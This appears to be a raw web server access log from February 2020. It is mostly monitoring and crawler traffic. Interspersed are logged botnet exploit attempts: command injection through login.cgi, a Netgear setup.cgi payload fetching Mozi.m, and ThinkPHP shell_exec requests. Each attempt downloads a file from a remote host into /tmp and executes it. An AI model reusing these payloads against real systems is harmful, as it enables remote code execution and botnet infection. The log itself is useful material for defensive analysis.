212.91.246.72 - - [14/Feb/2020:08:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [14/Feb/2020:08:57:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [14/Feb/2020:08:57:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [14/Feb/2020:08:57:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:08:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [14/Feb/2020:08:57:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [14/Feb/2020:08:58:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [14/Feb/2020:08:58:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [14/Feb/2020:08:58:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [14/Feb/2020:08:58:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:08:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [14/Feb/2020:08:58:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [14/Feb/2020:08:59:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:08:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.158.148.34 - - [14/Feb/2020:09:04:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
158.69.117.141 - - [14/Feb/2020:09:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.117.141 - - [14/Feb/2020:09:19:44 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.117.141 - - [14/Feb/2020:09:19:44 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.117.141 - - [14/Feb/2020:09:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.117.141 - - [14/Feb/2020:09:19:45 +0100] "GET /ads.txt HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.117.141 - - [14/Feb/2020:09:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
37.233.60.56 - - [14/Feb/2020:09:20:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:09:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.101.58.45 - - [14/Feb/2020:09:27:43 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
5.39.166.69 - - [14/Feb/2020:09:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.21.131.3 - - [14/Feb/2020:09:33:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.58 - - [14/Feb/2020:09:36:34 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.149.48 - - [14/Feb/2020:09:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [14/Feb/2020:09:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [14/Feb/2020:09:38:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:09:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.52.74.182 - - [14/Feb/2020:09:41:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:09:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.230.113.192 - - [14/Feb/2020:09:41:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.234.68 - - [14/Feb/2020:09:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.42.191.214 - - [14/Feb/2020:09:49:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:09:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [14/Feb/2020:09:56:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [14/Feb/2020:09:56:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [14/Feb/2020:09:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [14/Feb/2020:09:56:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [14/Feb/2020:09:56:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
183.80.56.222 - - [14/Feb/2020:09:57:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.152.6.58 - - [14/Feb/2020:09:57:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [14/Feb/2020:09:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:09:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.138.241.87 - - [14/Feb/2020:10:01:29 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/4.0 (compatible;  Vagabondo/4.0; http://www.wise-guys.nl/)"
185.138.241.87 - - [14/Feb/2020:10:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible;  Vagabondo/4.0; http://www.wise-guys.nl/)"
212.91.246.72 - - [14/Feb/2020:10:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:10:01:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:10:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.21.96.154 - - [14/Feb/2020:10:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:10:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [14/Feb/2020:10:04:19 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:10:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.23.211.50 - - [14/Feb/2020:10:07:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.152.6.58 - - [14/Feb/2020:10:08:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [14/Feb/2020:10:08:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [14/Feb/2020:10:08:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [14/Feb/2020:10:08:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [14/Feb/2020:10:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [14/Feb/2020:10:09:46 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [14/Feb/2020:10:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.107.161.179 - - [14/Feb/2020:10:15:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.94.179.74 - - [14/Feb/2020:10:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:10:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.35.45.232 - - [14/Feb/2020:10:16:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:10:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:10:18:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:10:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:10:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:10:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.158.51.178 - - [14/Feb/2020:10:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:10:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [14/Feb/2020:10:27:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:10:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.86 - - [14/Feb/2020:10:29:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.41.20.124 - - [14/Feb/2020:10:30:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:10:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.138 - - [14/Feb/2020:10:32:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
